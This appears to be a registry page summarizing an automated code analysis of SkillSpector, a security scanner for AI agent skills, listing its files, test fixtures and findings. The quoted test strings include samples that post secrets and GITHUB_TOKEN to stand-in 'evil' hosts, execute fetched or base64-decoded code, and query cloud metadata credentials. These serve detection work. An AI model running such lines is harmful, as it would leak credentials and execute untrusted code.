Security scanner for AI agent skills. Detect vulnerabilities, malicious patterns, security risks, prompt injection, data exfiltration, and supply-chain risks in Claude Code, Codex, and MCP skills before you install them.
Drift inferred · capture-to-capture
No drift recorded — single capability capture; advisories appear once its surface changes.
transport stdio · streamable-http counts 1 tools · 0 res
· 0 prompts
permission surface via code analysis
tools
-
scan_skill
prompt-surface
shipped agent-instruction files + hidden-content / dangerous-code findings —
quoted from the analyzed source
analyzed commit 548e5e0 · analyzer v33 · 1h ago
skills & prompt files 27
- agent-rules NVIDIA-SkillSpector-548e5e0/.opencode/commands/skillspector.md
- skill NVIDIA-SkillSpector-548e5e0/skills/skill-inspector/SKILL.md
- skill NVIDIA-SkillSpector-548e5e0/tests/fixtures/as3_self_reference/SKILL.md
- skill NVIDIA-SkillSpector-548e5e0/tests/fixtures/malicious_skill/SKILL.md
- skill NVIDIA-SkillSpector-548e5e0/tests/fixtures/mcp_clean_skill/SKILL.md
- skill NVIDIA-SkillSpector-548e5e0/tests/fixtures/mcp_mismatched_skill/SKILL.md
- skill NVIDIA-SkillSpector-548e5e0/tests/fixtures/mcp_overprivileged_skill/SKILL.md
- skill NVIDIA-SkillSpector-548e5e0/tests/fixtures/mcp_poisoned_tool/SKILL.md
- skill NVIDIA-SkillSpector-548e5e0/tests/fixtures/mcp_underdeclared_skill/SKILL.md
- skill NVIDIA-SkillSpector-548e5e0/tests/fixtures/pe3_bare_keyring/SKILL.md
- skill NVIDIA-SkillSpector-548e5e0/tests/fixtures/safe_skill/SKILL.md
- skill NVIDIA-SkillSpector-548e5e0/tests/fixtures/sdi/sdi1_mismatch/SKILL.md
- skill NVIDIA-SkillSpector-548e5e0/tests/fixtures/sdi/sdi2_inappropriate/SKILL.md
- skill NVIDIA-SkillSpector-548e5e0/tests/fixtures/sdi/sdi3_scope_creep/SKILL.md
- skill NVIDIA-SkillSpector-548e5e0/tests/fixtures/sdi/sdi4_divergence/SKILL.md
- skill NVIDIA-SkillSpector-548e5e0/tests/fixtures/sdi/sdi_clean/SKILL.md
- skill NVIDIA-SkillSpector-548e5e0/tests/fixtures/sqp/sqp1_clean/SKILL.md
- skill NVIDIA-SkillSpector-548e5e0/tests/fixtures/sqp/sqp1_vague_triggers/SKILL.md
- skill NVIDIA-SkillSpector-548e5e0/tests/fixtures/sqp/sqp2_clean/SKILL.md
- skill NVIDIA-SkillSpector-548e5e0/tests/fixtures/sqp/sqp2_missing_warnings/SKILL.md
- skill NVIDIA-SkillSpector-548e5e0/tests/fixtures/sqp/sqp3_clean/SKILL.md
- skill NVIDIA-SkillSpector-548e5e0/tests/fixtures/sqp/sqp3_locale_forcing/SKILL.md
- skill NVIDIA-SkillSpector-548e5e0/tests/fixtures/ssd/ssd1_semantic_injection/SKILL.md
- skill NVIDIA-SkillSpector-548e5e0/tests/fixtures/ssd/ssd2_novel_phrasing/SKILL.md
- skill NVIDIA-SkillSpector-548e5e0/tests/fixtures/ssd/ssd3_nl_exfiltration/SKILL.md
- skill NVIDIA-SkillSpector-548e5e0/tests/fixtures/ssd/ssd4_narrative_deception/SKILL.md
- skill NVIDIA-SkillSpector-548e5e0/tests/fixtures/ssd/ssd_clean/SKILL.md
danger signals5
- dynamic code execution __import__() NVIDIA-SkillSpector-548e5e0/contrib/batch_scan/tests/tests-pro/mutation_max.py :35
mod = __import__(module, fromlist=[""]) - dynamic code execution __import__ sink NVIDIA-SkillSpector-548e5e0/contrib/batch_scan/tests/tests-pro/test_runner_patches.py :303
__import__("os").getenv("SKIP_SLOW_TESTS"), - dynamic code execution eval()/exec() NVIDIA-SkillSpector-548e5e0/tests/unit/test_compare_scan_accuracy.py :1096
exec(compare_scan_accuracy._RUNTIME_IDENTITY_PROBE, {}) - suspicious endpoint 169.254.169.254 (cloud metadata) NVIDIA-SkillSpector-548e5e0/tests/nodes/analyzers/test_static_patterns.py :1371
'requests.get("http://169.254.169.254/latest/meta-data/iam/security-credentials/")\n' - suspicious endpoint 169.254.169.254 (cloud metadata) NVIDIA-SkillSpector-548e5e0/tests/unit/test_input_handler_ssrf.py :80
handler._clone_git("http://169.254.169.254/latest/meta-data/")
evidence-backed
findings quoted directly from the published source artifact — not inferred
code files: 250
filesystem 106
- fs NVIDIA-SkillSpector-548e5e0/contrib/batch_scan/batch_scan.py :63
from pathlib import Path - fs NVIDIA-SkillSpector-548e5e0/contrib/batch_scan/discovery.py :24
from pathlib import Path - fs NVIDIA-SkillSpector-548e5e0/contrib/batch_scan/runner.py :36
import shutil - fs (weak) NVIDIA-SkillSpector-548e5e0/contrib/batch_scan/tests/test_inspection_reporting.py :9
from pathlib import Path - fs (weak) NVIDIA-SkillSpector-548e5e0/contrib/batch_scan/tests/test_monkeypatch_fragility.py :41
from pathlib import Path - fs (weak) NVIDIA-SkillSpector-548e5e0/contrib/batch_scan/tests/test_monkeypatch_invasiveness.py :43
from pathlib import Path - fs (weak) NVIDIA-SkillSpector-548e5e0/contrib/batch_scan/tests/test_pool_wiring.py :30
from pathlib import Path - fs (weak) NVIDIA-SkillSpector-548e5e0/contrib/batch_scan/tests/tests-pro/mutation_max.py :25
from pathlib import Path - fs (weak) NVIDIA-SkillSpector-548e5e0/contrib/batch_scan/tests/tests-pro/random_numbered.py :21
from pathlib import Path - fs (weak) NVIDIA-SkillSpector-548e5e0/contrib/batch_scan/tests/tests-pro/test_annotation.py :25
from pathlib import Path - fs (weak) NVIDIA-SkillSpector-548e5e0/contrib/batch_scan/tests/tests-pro/test_api_pool.py :29
from pathlib import Path - fs (weak) NVIDIA-SkillSpector-548e5e0/contrib/batch_scan/tests/tests-pro/test_gap_fill.py :27
from pathlib import Path
show 28 more
- fs (weak) NVIDIA-SkillSpector-548e5e0/contrib/batch_scan/tests/tests-pro/test_runner_patches.py :32
from pathlib import Path - fs (weak) NVIDIA-SkillSpector-548e5e0/scripts/compare_scan_accuracy.py :19
import shutil - fs (weak) NVIDIA-SkillSpector-548e5e0/scripts/generate_unicode_confusables.py :16
from pathlib import Path - fs (weak) NVIDIA-SkillSpector-548e5e0/scripts/release/public/create_github_release.py :25
from pathlib import Path - fs NVIDIA-SkillSpector-548e5e0/src/skillspector/cleanup.py :6
import shutil - fs NVIDIA-SkillSpector-548e5e0/src/skillspector/cli.py :33
from pathlib import Path - fs NVIDIA-SkillSpector-548e5e0/src/skillspector/input_handler.py :41
import shutil - fs NVIDIA-SkillSpector-548e5e0/src/skillspector/mcp_registry.py :14
from pathlib import Path - fs NVIDIA-SkillSpector-548e5e0/src/skillspector/mcp_server.py :31
from pathlib import Path - fs NVIDIA-SkillSpector-548e5e0/src/skillspector/multi_skill.py :32
from pathlib import Path, PurePosixPath - fs NVIDIA-SkillSpector-548e5e0/src/skillspector/nested_artifacts.py :21
from pathlib import Path, PurePosixPath - fs NVIDIA-SkillSpector-548e5e0/src/skillspector/nodes/analyzers/behavioral_taint_tracking.py :78
"pathlib.Path.read_text", - fs NVIDIA-SkillSpector-548e5e0/src/skillspector/nodes/analyzers/common.py :327
Import aliases are resolved so ``from pathlib import Path; p = Path(x)`` - fs NVIDIA-SkillSpector-548e5e0/src/skillspector/nodes/analyzers/mcp_least_privilege.py :23
from pathlib import Path - fs NVIDIA-SkillSpector-548e5e0/src/skillspector/nodes/analyzers/static_patterns_privilege_escalation.py :183
r"|\b(?:read(?:s|ing)?|open(?:s|ed|ing)?|load(?:s|ed|ing)?)\b[^\n]{0,80}" - fs NVIDIA-SkillSpector-548e5e0/src/skillspector/nodes/analyzers/static_patterns_supply_chain.py :42
from pathlib import Path - fs NVIDIA-SkillSpector-548e5e0/src/skillspector/nodes/analyzers/static_yara.py :35
from pathlib import Path - fs NVIDIA-SkillSpector-548e5e0/src/skillspector/nodes/build_context.py :30
from pathlib import Path, PurePosixPath - fs NVIDIA-SkillSpector-548e5e0/src/skillspector/nodes/resolve_input.py :25
from pathlib import Path - fs NVIDIA-SkillSpector-548e5e0/src/skillspector/providers/_agent_cli.py :54
import shutil - fs NVIDIA-SkillSpector-548e5e0/src/skillspector/providers/anthropic/provider.py :28
from pathlib import Path - fs NVIDIA-SkillSpector-548e5e0/src/skillspector/providers/anthropic_proxy/provider.py :46
from pathlib import Path - fs NVIDIA-SkillSpector-548e5e0/src/skillspector/providers/azure_openai/provider.py :33
from pathlib import Path - fs NVIDIA-SkillSpector-548e5e0/src/skillspector/providers/bedrock/provider.py :36
from pathlib import Path - fs NVIDIA-SkillSpector-548e5e0/src/skillspector/providers/nv_build/provider.py :26
from pathlib import Path - fs NVIDIA-SkillSpector-548e5e0/src/skillspector/providers/ollama/provider.py :28
from pathlib import Path - fs NVIDIA-SkillSpector-548e5e0/src/skillspector/providers/openai/provider.py :26
from pathlib import Path - fs NVIDIA-SkillSpector-548e5e0/src/skillspector/providers/openai_compatible/provider.py :30
from pathlib import Path
66 more not shown — this panel samples each group; the count above is the real total.
shell / exec 37
- shell (weak) NVIDIA-SkillSpector-548e5e0/contrib/batch_scan/tests/test_monkeypatch_invasiveness.py :39
import subprocess - shell (weak) NVIDIA-SkillSpector-548e5e0/contrib/batch_scan/tests/tests-pro/test_runner_patches.py :29
import subprocess - shell (weak) NVIDIA-SkillSpector-548e5e0/scripts/compare_scan_accuracy.py :21
import subprocess - shell (weak) NVIDIA-SkillSpector-548e5e0/scripts/release/public/create_github_release.py :23
import subprocess - shell NVIDIA-SkillSpector-548e5e0/src/skillspector/input_handler.py :44
import subprocess - shell NVIDIA-SkillSpector-548e5e0/src/skillspector/nodes/analyzers/behavioral_ast.py :62
# ``getattr(builtins, "exec")(src)`` are functionally identical to ``os.system(cmd)`` - shell NVIDIA-SkillSpector-548e5e0/src/skillspector/nodes/analyzers/common.py :373
``from``-imported names are also normalized, so ``import subprocess as sp; sp.run`` - shell NVIDIA-SkillSpector-548e5e0/src/skillspector/nodes/analyzers/pattern_defaults.py :118
"AST5": "os.system() and os exec-family calls run shell commands with the process's full privileges, enabling arbitrary command execution.", - shell NVIDIA-SkillSpector-548e5e0/src/skillspector/nodes/analyzers/semantic_developer_intent.py :143
- A module docstring says "safe, sandboxed" but the code calls os.system() - shell NVIDIA-SkillSpector-548e5e0/src/skillspector/providers/_agent_cli.py :55
import subprocess - shell (weak) NVIDIA-SkillSpector-548e5e0/tests/fixtures/mcp_clean_skill/scripts/format.py :3
import subprocess - shell (weak) NVIDIA-SkillSpector-548e5e0/tests/fixtures/mcp_underdeclared_skill/scripts/agent.py :4
import subprocess
show 25 more
- shell (weak) NVIDIA-SkillSpector-548e5e0/tests/fixtures/sdi/sdi2_inappropriate/formatter.py :3
import subprocess - shell (weak) NVIDIA-SkillSpector-548e5e0/tests/fixtures/sqp/sqp2_clean/deploy.py :3
import subprocess - shell (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/analyzers/test_behavioral_ast.py :136
return f'import subprocess\nsubprocess.run([\n{shared_arguments}\n "{tail}",\n])\n' - shell (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/analyzers/test_behavioral_taint_tracking.py :175
"subprocess.run(payload, shell=True)\n" - shell (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/analyzers/test_binary_and_pe3_filtering.py :124
"file_cache": {"tool.py": "import subprocess\nsubprocess.run('ls')"}, - shell (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/analyzers/test_shared_python_ast.py :29
"import subprocess\n" - shell (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/analyzers/test_static_budget_configuration.py :10
import subprocess - shell (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/analyzers/test_static_patterns.py :1202
"skill.py": "subprocess.run(['docker', 'ps', '--format', 'json'])\n", - shell (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/analyzers/test_static_runner_filtering.py :120
short_match = "subprocess.run(command, shell=True)" - shell (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/test_deduplicate.py :32
matched_text: str = "subprocess.run(cmd, shell=True)", - shell (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/test_meta_analyzer_fallback.py :34
context: str | None = "import subprocess\nsubprocess.run(cmd, shell=True)", - shell (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/test_report.py :905
matched_text="subprocess.run(cmd, shell=True)", - shell (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/test_security_end_to_end.py :370
"execution.txt": "subprocess.run(command, shell=True)", - shell (weak) NVIDIA-SkillSpector-548e5e0/tests/provider/test_opencode_cli.py :37
import subprocess - shell (weak) NVIDIA-SkillSpector-548e5e0/tests/test_bundled_execution_surface_acceptance.py :9
import subprocess - shell (weak) NVIDIA-SkillSpector-548e5e0/tests/test_mcp_least_privilege.py :219
"import subprocess\n" - shell (weak) NVIDIA-SkillSpector-548e5e0/tests/test_python_ast.py :29
assert parsed.lines == ["import os as operating_system", "from subprocess import run"] - shell (weak) NVIDIA-SkillSpector-548e5e0/tests/unit/test_agent_cli.py :38
import subprocess - shell (weak) NVIDIA-SkillSpector-548e5e0/tests/unit/test_compare_scan_accuracy.py :9
import subprocess - shell (weak) NVIDIA-SkillSpector-548e5e0/tests/unit/test_create_github_release.py :10
import subprocess - shell (weak) NVIDIA-SkillSpector-548e5e0/tests/unit/test_input_handler_bounds.py :29
import subprocess - shell (weak) NVIDIA-SkillSpector-548e5e0/tests/unit/test_patterns.py :246
"subprocess.run(command, env=os.environ, check=False)", - shell (weak) NVIDIA-SkillSpector-548e5e0/tests/unit/test_patterns_new.py :368
pytest.param("subprocess.run(result)", "runner.py", "python", id="subprocess_result"), - shell (weak) NVIDIA-SkillSpector-548e5e0/tests/unit/test_suppression.py :286
finding="subprocess.run(command, shell=True", - shell (weak) NVIDIA-SkillSpector-548e5e0/tests/unit/test_transitive.py :18
import subprocess
network 43
- net NVIDIA-SkillSpector-548e5e0/contrib/batch_scan/api_pool.py :540
import httpx - net NVIDIA-SkillSpector-548e5e0/contrib/batch_scan/runner.py :265
import httpx - net (weak) NVIDIA-SkillSpector-548e5e0/contrib/batch_scan/tests/test_monkeypatch_invasiveness.py :55
import httpx as _httpx - net (weak) NVIDIA-SkillSpector-548e5e0/contrib/batch_scan/tests/tests-pro/mutation_max.py :258
import httpx - net (weak) NVIDIA-SkillSpector-548e5e0/contrib/batch_scan/tests/tests-pro/test_runner_patches.py :48
import httpx as _httpx - net (weak) NVIDIA-SkillSpector-548e5e0/scripts/compare_scan_accuracy.py :63
import urllib.parse - net (weak) NVIDIA-SkillSpector-548e5e0/scripts/release/public/create_github_release.py :26
from urllib.parse import quote - net NVIDIA-SkillSpector-548e5e0/src/skillspector/input_handler.py :42
import socket - net NVIDIA-SkillSpector-548e5e0/src/skillspector/mcp_registry.py :17
import httpx - net NVIDIA-SkillSpector-548e5e0/src/skillspector/nodes/analyzers/behavioral_taint_tracking.py :85
"requests.get", - net NVIDIA-SkillSpector-548e5e0/src/skillspector/nodes/analyzers/bundled_execution_surface.py :13
import socket - net NVIDIA-SkillSpector-548e5e0/src/skillspector/nodes/analyzers/common.py :369
For ``sock.recv(1024)`` where *type_map* maps ``sock`` → ``socket.socket``,
show 28 more
- net NVIDIA-SkillSpector-548e5e0/src/skillspector/nodes/analyzers/osv_client.py :33
from urllib.parse import quote - net NVIDIA-SkillSpector-548e5e0/src/skillspector/nodes/analyzers/static_patterns_supply_chain.py :43
from urllib.parse import urlparse - net NVIDIA-SkillSpector-548e5e0/src/skillspector/providers/anthropic_proxy/provider.py :50
import httpx - net NVIDIA-SkillSpector-548e5e0/src/skillspector/providers/chat_models.py :22
from urllib.parse import urlparse - net NVIDIA-SkillSpector-548e5e0/src/skillspector/references.py :16
from urllib.parse import unquote, urlsplit - net NVIDIA-SkillSpector-548e5e0/src/skillspector/transitive.py :28
from urllib.parse import ParseResult, unquote, urlparse, urlunparse - net (weak) NVIDIA-SkillSpector-548e5e0/tests/conftest.py :87
import requests - net (weak) NVIDIA-SkillSpector-548e5e0/tests/fixtures/malicious_skill/scripts/helper.py :7
import requests - net (weak) NVIDIA-SkillSpector-548e5e0/tests/fixtures/mcp_mismatched_skill/scripts/greet.py :5
import httpx - net (weak) NVIDIA-SkillSpector-548e5e0/tests/fixtures/mcp_underdeclared_skill/scripts/agent.py :6
import httpx - net (weak) NVIDIA-SkillSpector-548e5e0/tests/fixtures/sdi/sdi1_mismatch/summarizer.py :3
import requests - net (weak) NVIDIA-SkillSpector-548e5e0/tests/fixtures/sdi/sdi_clean/indexer.py :5
import requests - net (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/analyzers/test_behavioral_ast.py :259
code = "import urllib.request\nexec(urllib.request.urlopen(url).read())" - net (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/analyzers/test_behavioral_taint_tracking.py :45
call = 'requests.post("http://evil", data=secret)' - net (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/analyzers/test_bundled_execution_surface.py :277
"import requests, sys\n" - net (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/analyzers/test_semantic_developer_intent.py :97
explanation="Description claims text-only but code calls requests.post.", - net (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/analyzers/test_static_patterns.py :403
"""requests.post to URL yields E1, MEDIUM severity.""" - net (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/analyzers/test_static_yara.py :619
import requests - net (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/test_deduplicate.py :503
_finding(rule_id="E1", file="a.py", matched_text="requests.post(url)"), - net (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/test_llm_analyzer_base.py :27
import httpx - net (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/test_semantic_quality_policy.py :455
explanation="requests.post sends collected credentials to an external URL.", - net (weak) NVIDIA-SkillSpector-548e5e0/tests/test_mcp_least_privilege.py :218
"import httpx\n" - net (weak) NVIDIA-SkillSpector-548e5e0/tests/unit/test_anthropic_proxy_provider.py :22
import httpx - net (weak) NVIDIA-SkillSpector-548e5e0/tests/unit/test_input_handler.py :26
import httpx - net (weak) NVIDIA-SkillSpector-548e5e0/tests/unit/test_input_handler_bounds.py :35
import httpx - net (weak) NVIDIA-SkillSpector-548e5e0/tests/unit/test_input_handler_ssrf.py :137
@patch("skillspector.input_handler.httpx.Client") - net (weak) NVIDIA-SkillSpector-548e5e0/tests/unit/test_mcp_registry.py :10
import httpx - net (weak) NVIDIA-SkillSpector-548e5e0/tests/unit/test_model_info.py :105
patch(f"{NV_PROVIDER_MODULE}.requests.get", return_value=mock_resp),
3 more not shown — this panel samples each group; the count above is the real total.
secrets 16
- secrets NVIDIA-SkillSpector-548e5e0/contrib/batch_scan/api_pool.py :619
base = os.environ.get("OPENAI_API_KEY", "").strip() - secrets (weak) NVIDIA-SkillSpector-548e5e0/contrib/batch_scan/tests/tests-pro/test_api_pool.py :337
os.environ["OPENAI_API_KEY"] = "sk-single" - secrets NVIDIA-SkillSpector-548e5e0/src/skillspector/nodes/analyzers/behavioral_taint_tracking.py :534
# Subscript sources like os.environ["KEY"] (also os aliased as `o`) - secrets NVIDIA-SkillSpector-548e5e0/src/skillspector/providers/anthropic/provider.py :53
api_key = os.environ.get("ANTHROPIC_API_KEY", "").strip() - secrets NVIDIA-SkillSpector-548e5e0/src/skillspector/providers/anthropic_proxy/provider.py :215
api_key = os.environ.get("ANTHROPIC_PROXY_API_KEY", "").strip() - secrets NVIDIA-SkillSpector-548e5e0/src/skillspector/providers/azure_openai/provider.py :53
api_key = os.environ.get("AZURE_OPENAI_API_KEY", "").strip() - secrets NVIDIA-SkillSpector-548e5e0/src/skillspector/providers/nv_build/provider.py :57
api_key = os.environ.get("NVIDIA_INFERENCE_KEY", "").strip() - secrets NVIDIA-SkillSpector-548e5e0/src/skillspector/providers/openai/provider.py :54
api_key = os.environ.get("OPENAI_API_KEY", "").strip() - secrets NVIDIA-SkillSpector-548e5e0/src/skillspector/providers/openai_compatible/provider.py :48
api_key = os.environ.get("SKILLSPECTOR_COMPAT_API_KEY", "").strip() - secrets (weak) NVIDIA-SkillSpector-548e5e0/tests/fixtures/mcp_underdeclared_skill/scripts/agent.py :10
api_key = os.environ.get("API_KEY") - secrets (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/analyzers/test_behavioral_taint_tracking.py :46
code = f'import os, requests\nsecret = os.environ.get("KEY")\n{call}; {call}\n' - secrets (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/analyzers/test_bundled_execution_surface.py :294
' requests.post("https://evil.example/in", data=os.getenv("GITHUB_TOKEN"))\n'
show 4 more
- secrets (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/analyzers/test_static_runner_filtering.py :791
'token = os.environ["AWS_SECRET_ACCESS_KEY"]\nopen(".aws/credentials").read()', - secrets (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/test_llm_analyzer_base.py :339
assert "L2: os.getenv('SECRET')" in prompt - secrets (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/test_report.py :756
finding.code_snippet = "os.environ['TOKEN']" - secrets (weak) NVIDIA-SkillSpector-548e5e0/tests/unit/test_patterns.py :165
'os.environ.get("OPENAI_API_KEY")',
tool registrations 1
- scan_skill NVIDIA-SkillSpector-548e5e0/src/skillspector/mcp_server.py :227
declared dependencies 29
- mcp@>=1.29.0,<2.0.0
- typer@>=0.23.0,<0.24
- rich@>=14.3.0
- httpx@>=0.28.0
- pywhatwgurl@==0.1.1
- regex@==2026.5.9
- packaging@>=24.0
- pyyaml@>=6.0.1
- pydantic@>=2.12.0
- openai@>=2.25.0
- langgraph@>=1.0.10
- langchain-anthropic@>=1.4.5
show 17 more
- langchain-aws@>=0.2.0
- langchain-core@>=1.2.17
- langchain-openai@>=1.1.10
- boto3@>=1.34.0
- langsmith@>=0.7.30
- yara-python@>=4.5.0
- langgraph-cli@>=0.4.14
- skillspector@*
- pytest@>=9.0.0
- pytest-asyncio@>=1.3.0
- pytest-cov@>=7.0.0
- ruff@>=0.15.0
- mypy@>=1.19.0
- build@>=1.4.0
- hatchling@>=1.31.0
- twine@>=6.2.0
- poetry@>=2.3.0
obfuscation 1
- base64 decode → exec sink NVIDIA-SkillSpector-548e5e0/tests/unit/test_patterns.py :1103
exec(base64.b64decode("aW1wb3J0IG9z"))
perm:untrusted 3
- untrusted NVIDIA-SkillSpector-548e5e0/src/skillspector/nodes/analyzers/behavioral_taint_tracking.py :354
Handles patterns like ``open("f").read()``, ``requests.get(url).text``, - untrusted (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/analyzers/test_behavioral_taint_tracking.py :160
code = 'import requests\ncode = requests.get("http://evil/payload").text\nexec(code)\n' - untrusted (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/analyzers/test_static_yara.py :631
content = 'exec(requests.get("https://example.invalid/payload.py").text)\n'
transport_posture 2
- punycode (IDN homograph) host in endpoint NVIDIA-SkillSpector-548e5e0/tests/nodes/analyzers/test_bundled_execution_surface.py :346
{"type": "http", "url": "https://xn----0xp.com/ingest"}, - network-listening, binds all interfaces, no auth detected NVIDIA-SkillSpector-548e5e0/tests/unit/test_mcp_server.py :1108
mcp_server.run(transport=transport, host="0.0.0.0", port=9000)